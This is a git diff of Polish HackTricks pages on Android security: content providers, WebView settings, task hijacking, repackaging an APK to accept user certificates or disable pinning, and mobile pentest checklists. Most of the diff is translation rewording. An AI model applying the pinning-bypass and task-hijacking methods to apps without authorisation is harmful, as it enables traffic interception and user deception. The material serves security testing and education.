**Dostawcy treści** są niezbędni do **udostępniania strukturyzowanych danych** między aplikacjami, podkreślając znaczenie implementacji **uprawnień** w celu zapewnienia bezpieczeństwa danych. Pozwalają aplikacjom uzyskiwać dostęp do danych z różnych źródeł, w tym baz danych, systemów plików lub sieci. Określone uprawnienia, takie jak **`readPermission`** i **`writePermission`**, są kluczowe dla kontroli dostępu. Dodatkowo, tymczasowy dostęp można udzielić poprzez ustawienia **`grantUriPermission`** w manifestacji aplikacji, wykorzystując atrybuty takie jak `path`, `pathPrefix` i `pathPattern` do szczegółowej kontroli dostępu.
|
||||
**Dostawcy treści** są niezbędni do **udostępniania strukturyzowanych danych** między aplikacjami, podkreślając ważność implementacji **uprawnień** w celu zapewnienia bezpieczeństwa danych. Pozwalają aplikacjom uzyskiwać dostęp do danych z różnych źródeł, w tym baz danych, systemów plików lub sieci. Określone uprawnienia, takie jak **`readPermission`** i **`writePermission`**, są kluczowe dla kontroli dostępu. Dodatkowo, tymczasowy dostęp można udzielić poprzez ustawienia **`grantUriPermission`** w manifestacji aplikacji, wykorzystując atrybuty takie jak `path`, `pathPrefix` i `pathPattern` do szczegółowej kontroli dostępu.
|
||||
|
||||
Walidacja danych jest kluczowa dla zapobiegania podatnościom, takim jak wstrzyknięcie SQL. Dostawcy treści obsługują podstawowe operacje: `insert()`, `update()`, `delete()` i `query()`, ułatwiając manipulację danymi i ich udostępnianie między aplikacjami.
|
||||
Walidacja danych jest kluczowa dla zapobieżenia podatnościom, takim jak wstrzyknięcie SQL. Dostawcy treści obsługują podstawowe operacje: `insert()`, `update()`, `delete()` i `query()`, ułatwiając manipulację danymi i ich udostępnianie między aplikacjami.
|
||||
|
||||
**FileProvider**, specjalizowany dostawca treści, skupia się na bezpiecznym udostępnianiu plików. Jest zdefiniowany w manifestacji aplikacji z określonymi atrybutami do kontroli dostępu do folderów, oznaczonych przez `android:exported` i `android:resource` wskazujące na konfiguracje folderów. Zaleca się ostrożność przy udostępnianiu katalogów, aby uniknąć przypadkowego ujawnienia wrażliwych danych.
|
||||
**FileProvider**, specjalizowany Dostawca Treści, skupia się na bezpiecznym udostępnianiu plików. Jest zdefiniowany w manifestacji aplikacji z określonymi atrybutami do kontroli dostępu do folderów, oznaczonych przez `android:exported` i `android:resource` wskazujące na konfiguracje folderów. Zaleca się ostrożność przy udostępnianiu katalogów, aby uniknąć przypadkowego ujawnienia wrażliwych danych.
|
||||
|
||||
Przykładowe oświadczenie manifestu dla FileProvider:
|
||||
```xml
|
||||
|
@ -337,25 +337,25 @@ I przykład określenia udostępnionych folderów w `filepaths.xml`:
|
|||
</paths>
|
||||
```
|
||||
Dla dalszych informacji sprawdź:
|
||||
- [Deweloperzy Androida: Dostawcy Zawartości](https://developer.android.com/guide/topics/providers/content-providers)
|
||||
- [Deweloperzy Androida: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
|
||||
- [Android Developers: Dostawcy treści](https://developer.android.com/guide/topics/providers/content-providers)
|
||||
- [Android Developers: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
|
||||
|
||||
## WebViews
|
||||
|
||||
WebViews są jak **mini przeglądarki internetowe** wewnątrz aplikacji na Androida, pobierające treści zarówno z sieci, jak i z plików lokalnych. Stoją w obliczu podobnych zagrożeń jak zwykłe przeglądarki, ale istnieją sposoby na **zmniejszenie tych zagrożeń** poprzez konkretne **ustawienia**.
|
||||
WebViews są jak **mini przeglądarki internetowe** wewnątrz aplikacji na Androida, pobierające treści z sieci lub z plików lokalnych. Stoją wobec podobnych zagrożeń jak zwykłe przeglądarki, ale istnieją sposoby na **zmniejszenie tych zagrożeń** poprzez konkretne **ustawienia**.
|
||||
|
||||
Android oferuje dwa główne typy WebView:
|
||||
|
||||
- **WebViewClient** jest świetny do podstawowego HTML, ale nie obsługuje funkcji alert JavaScript, co wpływa na sposób testowania ataków XSS.
|
||||
- **WebChromeClient** działa bardziej jak pełne doświadczenie przeglądarki Chrome.
|
||||
|
||||
Kluczowym punktem jest to, że przeglądarki WebView **nie dzielą plików cookie** z główną przeglądarką urządzenia.
|
||||
Kluczowym punktem jest to, że przeglądarki WebView **nie dzielą ciasteczek** z główną przeglądarką urządzenia.
|
||||
|
||||
Do ładowania treści dostępne są metody takie jak ````loadUrl````, ````loadData````, i ````loadDataWithBaseURL````. Ważne jest, aby upewnić się, że te adresy URL lub pliki są **bezpieczne do użycia**. Ustawienia zabezpieczeń można zarządzać za pomocą klasy ````WebSettings````. Na przykład, wyłączenie JavaScript za pomocą ````setJavaScriptEnabled(false)```` może zapobiec atakom XSS.
|
||||
|
||||
Most JavaScript "Bridge" pozwala obiektom Javy na interakcję z JavaScript, wymagając oznaczenia metod za pomocą ````@JavascriptInterface```` dla bezpieczeństwa od wersji Androida 4.2 wzwyż.
|
||||
Most JavaScript "Bridge" pozwala obiektom Javy współdziałać z JavaScript, wymagając oznaczenia metod za pomocą ````@JavascriptInterface```` dla bezpieczeństwa od wersji Androida 4.2.
|
||||
|
||||
Zezwalając na dostęp do treści (````setAllowContentAccess(true)````) pozwala WebView na dostęp do Dostawców Zawartości, co może stanowić ryzyko, chyba że adresy URL treści są zweryfikowane jako bezpieczne.
|
||||
Zezwalanie na dostęp do treści (````setAllowContentAccess(true)````) pozwala WebView na dostęp do Dostawców Treści, co może stanowić ryzyko, chyba że adresy URL treści są zweryfikowane jako bezpieczne.
|
||||
|
||||
Aby kontrolować dostęp do plików:
|
||||
- Wyłączenie dostępu do plików (````setAllowFileAccess(false)````) ogranicza dostęp do systemu plików, z wyjątkami dla określonych zasobów, zapewniając, że są one używane tylko do treści niewrażliwej.
|
||||
|
@ -364,15 +364,15 @@ Aby kontrolować dostęp do plików:
|
|||
|
||||
### **Cyfrowe Podpisywanie Aplikacji**
|
||||
|
||||
- **Podpisywanie cyfrowe** jest konieczne dla aplikacji na Androida, zapewniając, że są **autentycznie autoryzowane** przed instalacją. Proces ten wykorzystuje certyfikat do identyfikacji aplikacji i musi zostać zweryfikowany przez menedżera pakietów urządzenia podczas instalacji. Aplikacje mogą być **samopodpisywane lub certyfikowane przez zewnętrzne CA**, chroniąc przed nieautoryzowanym dostępem i zapewniając, że aplikacja pozostaje nietknięta podczas dostarczania na urządzenie.
|
||||
- **Podpisywanie cyfrowe** jest konieczne dla aplikacji na Androida, zapewniając, że są **autentycznie autoryzowane** przed instalacją. Proces ten wykorzystuje certyfikat do identyfikacji aplikacji i musi zostać zweryfikowany przez menedżera pakietów urządzenia podczas instalacji. Aplikacje mogą być **podpisane przez siebie lub certyfikowane przez zewnętrzne CA**, chroniąc przed nieautoryzowanym dostępem i zapewniając, że aplikacja pozostaje nietknięta podczas dostarczania na urządzenie.
|
||||
|
||||
### **Weryfikacja Aplikacji dla Zwiększonego Bezpieczeństwa**
|
||||
|
||||
- Począwszy od **Androida 4.2**, funkcja o nazwie **Weryfikuj Aplikacje** pozwala użytkownikom sprawdzić aplikacje pod kątem bezpieczeństwa przed instalacją. Ten **proces weryfikacji** może ostrzec użytkowników przed potencjalnie szkodliwymi aplikacjami, a nawet uniemożliwić instalację szczególnie złośliwych, zwiększając bezpieczeństwo użytkownika.
|
||||
- Począwszy od **Androida 4.2**, funkcja o nazwie **Weryfikuj Aplikacje** pozwala użytkownikom sprawdzić aplikacje pod kątem bezpieczeństwa przed instalacją. Ten **proces weryfikacji** może ostrzec użytkowników przed potencjalnie szkodliwymi aplikacjami, a nawet zapobiec instalacji szczególnie złośliwych, zwiększając bezpieczeństwo użytkownika.
|
||||
|
||||
### **Zarządzanie Urządzeniami Mobilnymi (MDM)**
|
||||
|
||||
- **Rozwiązania MDM** zapewniają **nadzór i bezpieczeństwo** dla urządzeń mobilnych poprzez **API Administracji Urządzeń**. Wymagają one instalacji aplikacji na Androida do efektywnego zarządzania i zabezpieczania urządzeń mobilnych. Kluczowe funkcje obejmują **narzucanie polityk haseł**, **obowiązkowe szyfrowanie pamięci**, i **zezwolenie na zdalne wymazywanie danych**, zapewniając kompleksową kontrolę i bezpieczeństwo nad urządzeniami mobilnymi.
|
||||
- **Rozwiązania MDM** zapewniają **nadzór i bezpieczeństwo** dla urządzeń mobilnych poprzez **API Administracji Urządzeń**. Wymagają one instalacji aplikacji na Androida do efektywnego zarządzania i zabezpieczania urządzeń mobilnych. Kluczowe funkcje obejmują **narzucanie polityk dotyczących haseł**, **obowiązkowe szyfrowanie pamięci**, i **zezwolenie na zdalne wymazywanie danych**, zapewniając kompleksową kontrolę i bezpieczeństwo nad urządzeniami mobilnymi.
|
||||
```java
|
||||
// Example of enforcing a password policy with MDM
|
||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||
|
@ -385,7 +385,7 @@ dpm.setPasswordMinimumLength(adminComponent, 8);
|
|||
```
|
||||
**Grupa Try Hard Security**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -398,7 +398,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Przechwytywanie zadań w systemie Android
|
||||
# Przechwytywanie zadań w Androidzie
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -16,7 +16,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
**Grupa Try Hard Security**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -24,9 +24,9 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
## Zadanie, stos wsteczny i aktywności w pierwszym planie
|
||||
|
||||
W systemie Android **zadanie** to zbiór aktywności, z którymi użytkownicy współdziałają, aby ukończyć określone zadanie, zorganizowane w **stosie wstecznej**. Ten stos uporządkowuje aktywności na podstawie czasu ich otwarcia, z najnowszą aktywnością wyświetlaną na górze jako **aktywność w pierwszym planie**. W każdej chwili tylko ta aktywność jest widoczna na ekranie, co czyni ją częścią **zadania w pierwszym planie**.
|
||||
W systemie Android **zadanie** to zbiór aktywności, z którymi użytkownicy współdziałają, aby ukończyć określone zadanie, zorganizowane w **stosie wstecznej**. Ten stos porządkuje aktywności na podstawie ich otwarcia, z najnowszą aktywnością wyświetlaną na górze jako **aktywność w pierwszym planie**. W każdej chwili tylko ta aktywność jest widoczna na ekranie, co czyni ją częścią **zadania w pierwszym planie**.
|
||||
|
||||
Oto szybki przegląd przejść między aktywnościami:
|
||||
Oto szybkie omówienie przejść między aktywnościami:
|
||||
|
||||
* **Aktywność 1** zaczyna jako jedyna aktywność w pierwszym planie.
|
||||
* Uruchomienie **Aktywności 2** przesuwa **Aktywność 1** do stosu wstecznego, przynosząc **Aktywność 2** do pierwszego planu.
|
||||
|
@ -39,11 +39,11 @@ Oto szybki przegląd przejść między aktywnościami:
|
|||
|
||||
### Przegląd powinowactwa zadań i trybów uruchamiania
|
||||
|
||||
W aplikacjach Android **powinowactwo zadań** określa preferowane zadanie aktywności, zazwyczaj zgodne z nazwą pakietu aplikacji. Ta konfiguracja jest istotna przy tworzeniu aplikacji koncepcyjnej (PoC) do demonstracji ataku.
|
||||
W aplikacjach Android **powinowactwo zadań** określa preferowane zadanie aktywności, zazwyczaj zgodne z nazwą pakietu aplikacji. Ta konfiguracja jest istotna przy tworzeniu aplikacji proof-of-concept (PoC) do demonstracji ataku.
|
||||
|
||||
### Tryby uruchamiania
|
||||
|
||||
Atrybut `launchMode` kieruje obsługą instancji aktywności w zadaniach. Tryb **singleTask** jest kluczowy dla tego ataku, dyktując trzy scenariusze na podstawie istniejących instancji aktywności i dopasowań powinowactwa zadań. Wykorzystanie polega na zdolności aplikacji atakującego do naśladowania powinowactwa zadań aplikacji docelowej, wprowadzając w błąd system Android, aby uruchomił aplikację atakującego zamiast zamierzonej aplikacji.
|
||||
Atrybut `launchMode` kieruje obsługą instancji aktywności w zadaniach. Tryb **singleTask** jest kluczowy dla tego ataku, dyktując trzy scenariusze na podstawie istniejących instancji aktywności i dopasowań powinowactwa zadań. Wykorzystanie polega na zdolności aplikacji atakującego do naśladowania powinowactwa zadań aplikacji docelowej, wprowadzając w błąd system Android, aby uruchomił aplikację atakującego zamiast zamierzonej aplikacji docelowej.
|
||||
|
||||
### Szczegółowe kroki ataku
|
||||
|
||||
|
@ -66,7 +66,7 @@ Aby zapobiec takim atakom, programiści mogą ustawić `taskAffinity` na pusty c
|
|||
|
||||
**Grupa Try Hard Security**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
@ -5,7 +5,7 @@
|
|||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
|
@ -14,17 +14,17 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
**Grupa Try Hard Security**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
Niektóre aplikacje nie akceptują pobranych przez użytkownika certyfikatów, dlatego aby analizować ruch sieciowy niektórych aplikacji, musimy faktycznie zdekompilować aplikację, dodać kilka rzeczy i ponownie ją skompilować.
|
||||
Niektóre aplikacje nie akceptują pobranych certyfikatów, dlatego aby analizować ruch sieciowy niektórych aplikacji, musimy faktycznie zdekompilować aplikację, dodać kilka rzeczy i ponownie ją skompilować.
|
||||
|
||||
# Automatycznie
|
||||
|
||||
Narzędzie [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) **automatycznie** dokona niezbędnych zmian w aplikacji w celu rozpoczęcia przechwytywania żądań oraz wyłączy sprawdzanie spinki certyfikatu (jeśli istnieje).
|
||||
Narzędzie [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) **automatycznie** dokona niezbędnych zmian w aplikacji, aby rozpocząć przechwytywanie żądań i wyłączyć przypięcie certyfikatu (jeśli istnieje).
|
||||
|
||||
# Ręcznie
|
||||
|
||||
|
@ -32,7 +32,7 @@ Najpierw dekompilujemy aplikację: `apktool d *nazwa-pliku*.apk`
|
|||
|
||||
![](../../.gitbook/assets/img9.png)
|
||||
|
||||
Następnie przechodzimy do pliku **Manifest.xml** i przewijamy do tagu `<\application android>` i dodajemy następującą linię, jeśli jej jeszcze nie ma:
|
||||
Następnie przechodzimy do pliku **Manifest.xml** i przewijamy do tagu `<\application android>` i dodajemy następną linię, jeśli jej jeszcze nie ma:
|
||||
|
||||
`android:networkSecurityConfig="@xml/network_security_config`
|
||||
|
||||
|
@ -61,13 +61,13 @@ Następnie zapisz plik i wyjdź z wszystkich katalogów, a następnie przebuduj
|
|||
|
||||
![](../../.gitbook/assets/img12.png)
|
||||
|
||||
Na koniec musisz tylko **podpisać nową aplikację**. [Przeczytaj tę sekcję strony Smali - Decompiling/\[Modifying\]/Compiling, aby dowiedzieć się, jak ją podpisać](smali-changes.md#sing-the-new-apk).
|
||||
Na koniec musisz tylko **podpisać nową aplikację**. [Przeczytaj ten fragment strony Smali - Decompiling/\[Modifying\]/Compiling, aby dowiedzieć się, jak ją podpisać](smali-changes.md#sing-the-new-apk).
|
||||
|
||||
<details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -78,7 +78,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i zostań ekspertem AWS z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Zacznij od zera i zostań mistrzem hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
|
@ -14,7 +14,7 @@
|
|||
|
||||
**Grupa Try Hard Security**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -38,12 +38,12 @@
|
|||
|
||||
### [Analiza statyczna](android-app-pentesting/#static-analysis)
|
||||
|
||||
* [ ] Sprawdź użycie [mieszania kodu](android-checklist.md#some-obfuscation-deobfuscation-information), sprawdź czy telefon jest zrootowany, czy używany jest emulator oraz sprawdź kontrole antymanipulacyjne. [Przeczytaj więcej tutaj](android-app-pentesting/#other-checks).
|
||||
* [ ] Wrażliwe aplikacje (np. bankowe) powinny sprawdzać, czy telefon jest zrootowany i działać odpowiednio.
|
||||
* [ ] Sprawdź użycie [mieszania kodu](android-checklist.md#some-obfuscation-deobfuscation-information), sprawdź czy urządzenie mobilne jest zrootowane, czy używany jest emulator i czy są sprawdzenia antymanipulacyjne. [Przeczytaj więcej tutaj](android-app-pentesting/#other-checks).
|
||||
* [ ] Wrażliwe aplikacje (np. bankowe) powinny sprawdzać, czy urządzenie mobilne jest zrootowane i działać odpowiednio.
|
||||
* [ ] Szukaj [interesujących ciągów znaków](android-app-pentesting/#looking-for-interesting-info) (hasła, adresy URL, API, szyfrowanie, backdoory, tokeny, identyfikatory Bluetooth...).
|
||||
* [ ] Szczególna uwaga na interfejsy [firebase](android-app-pentesting/#firebase)APIs.
|
||||
* [ ] Szczególna uwaga na [API firebase](android-app-pentesting/#firebase).
|
||||
* [ ] [Przeczytaj manifest:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
|
||||
* [ ] Sprawdź, czy aplikacja jest w trybie debugowania i spróbuj ją "wykorzystać"
|
||||
* [ ] Sprawdź, czy aplikacja jest w trybie debugowania i spróbuj go "wykorzystać"
|
||||
* [ ] Sprawdź, czy APK pozwala na tworzenie kopii zapasowych
|
||||
* [ ] Eksportowane aktywności
|
||||
* [ ] Dostawcy treści
|
||||
|
@ -51,23 +51,23 @@
|
|||
* [ ] Odbiorniki nadawcze
|
||||
* [ ] Schematy URL
|
||||
* [ ] Czy aplikacja [zapisuje dane niezabezpieczone wewnętrznie lub zewnętrznie](android-app-pentesting/#insecure-data-storage)?
|
||||
* [ ] Czy istnieje [hasło zakodowane na stałe lub zapisane na dysku](android-app-pentesting/#poorkeymanagementprocesses)? Czy aplikacja [używa niezabezpieczonych algorytmów kryptograficznych](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
|
||||
* [ ] Czy istnieje jakieś [hasło zakodowane na stałe lub zapisane na dysku](android-app-pentesting/#poorkeymanagementprocesses)? Czy aplikacja [używa niezabezpieczonych algorytmów kryptograficznych](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
|
||||
* [ ] Czy wszystkie biblioteki są kompilowane z flagą PIE?
|
||||
* [ ] Nie zapomnij, że istnieje wiele [statycznych analizatorów Androida](android-app-pentesting/#automatic-analysis), które mogą bardzo pomóc w tej fazie.
|
||||
|
||||
### [Analiza dynamiczna](android-app-pentesting/#dynamic-analysis)
|
||||
|
||||
* [ ] Przygotuj środowisko ([online](android-app-pentesting/#online-dynamic-analysis), [lokalne wirtualne środowisko lub fizyczne](android-app-pentesting/#local-dynamic-analysis))
|
||||
* [ ] Przygotuj środowisko ([online](android-app-pentesting/#online-dynamic-analysis), [lokalne wirtualne maszyny lub fizyczne](android-app-pentesting/#local-dynamic-analysis))
|
||||
* [ ] Czy występuje [niezamierzone wyciekanie danych](android-app-pentesting/#unintended-data-leakage) (logowanie, kopiowanie/wklejanie, dzienniki awarii)?
|
||||
* [ ] [Czy wrażliwe informacje są zapisywane w bazach danych SQLite](android-app-pentesting/#sqlite-dbs)?
|
||||
* [ ] [Wykorzystywalne aktywności](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
|
||||
* [ ] [Czy w bazach danych SQLite są zapisywane poufne informacje](android-app-pentesting/#sqlite-dbs)?
|
||||
* [ ] [Wykorzystywalne aktywności ujawnione](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
|
||||
* [ ] [Wykorzystywalne dostawcy treści](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
|
||||
* [ ] [Wykorzystywalne ujawnione usługi](android-app-pentesting/#exploiting-services)?
|
||||
* [ ] [Wykorzystywalne odbiorniki nadawcze](android-app-pentesting/#exploiting-broadcast-receivers)?
|
||||
* [ ] Czy aplikacja [przesyła informacje w tekście jawnym/używając słabych algorytmów](android-app-pentesting/#insufficient-transport-layer-protection)? Czy jest możliwy atak typu MitM?
|
||||
* [ ] Czy aplikacja [przesyła informacje w tekście jawnym/używa słabych algorytmów](android-app-pentesting/#insufficient-transport-layer-protection)? Czy jest możliwy atak typu MitM?
|
||||
* [ ] [Sprawdź ruch HTTP/HTTPS](android-app-pentesting/#inspecting-http-traffic)
|
||||
* [ ] To jest naprawdę ważne, ponieważ jeśli możesz przechwycić ruch HTTP, możesz szukać powszechnych podatności sieci Web (Hacktricks zawiera wiele informacji na temat podatności sieci Web).
|
||||
* [ ] Sprawdź możliwe [Wstrzyknięcia po stronie klienta Androida](android-app-pentesting/#android-client-side-injections-and-others) (prawdopodobnie statyczna analiza kodu pomoże tutaj)
|
||||
* [ ] Sprawdź możliwe [Wstrzyknięcia po stronie klienta Androida](android-app-pentesting/#android-client-side-injections-and-others) (prawdopodobnie jakaś analiza statyczna kodu pomoże tutaj)
|
||||
* [ ] [Frida](android-app-pentesting/#frida): Po prostu Frida, użyj go do uzyskania interesujących danych dynamicznych z aplikacji (może jakieś hasła...)
|
||||
|
||||
### Informacje o obfuskacji/Deobfuskacji
|
||||
|
@ -77,13 +77,13 @@
|
|||
|
||||
**Grupa Try Hard Security**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i zostań ekspertem AWS z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Zacznij od zera i zostań mistrzem hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
|
|
|
@ -24,7 +24,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -41,7 +41,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
* [ ] [**Pliki Plist**](ios-pentesting/#plist) mogą być używane do przechowywania poufnych informacji.
|
||||
* [ ] [**Core Data**](ios-pentesting/#core-data) (baza danych SQLite) może przechowywać poufne informacje.
|
||||
* [ ] [**Bazy danych Yap**](ios-pentesting/#yapdatabase) (baza danych SQLite) mogą przechowywać poufne informacje.
|
||||
* [ ] Błędna konfiguracja [**Firebase**](ios-pentesting/#firebase-real-time-databases).
|
||||
* [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) - błędna konfiguracja.
|
||||
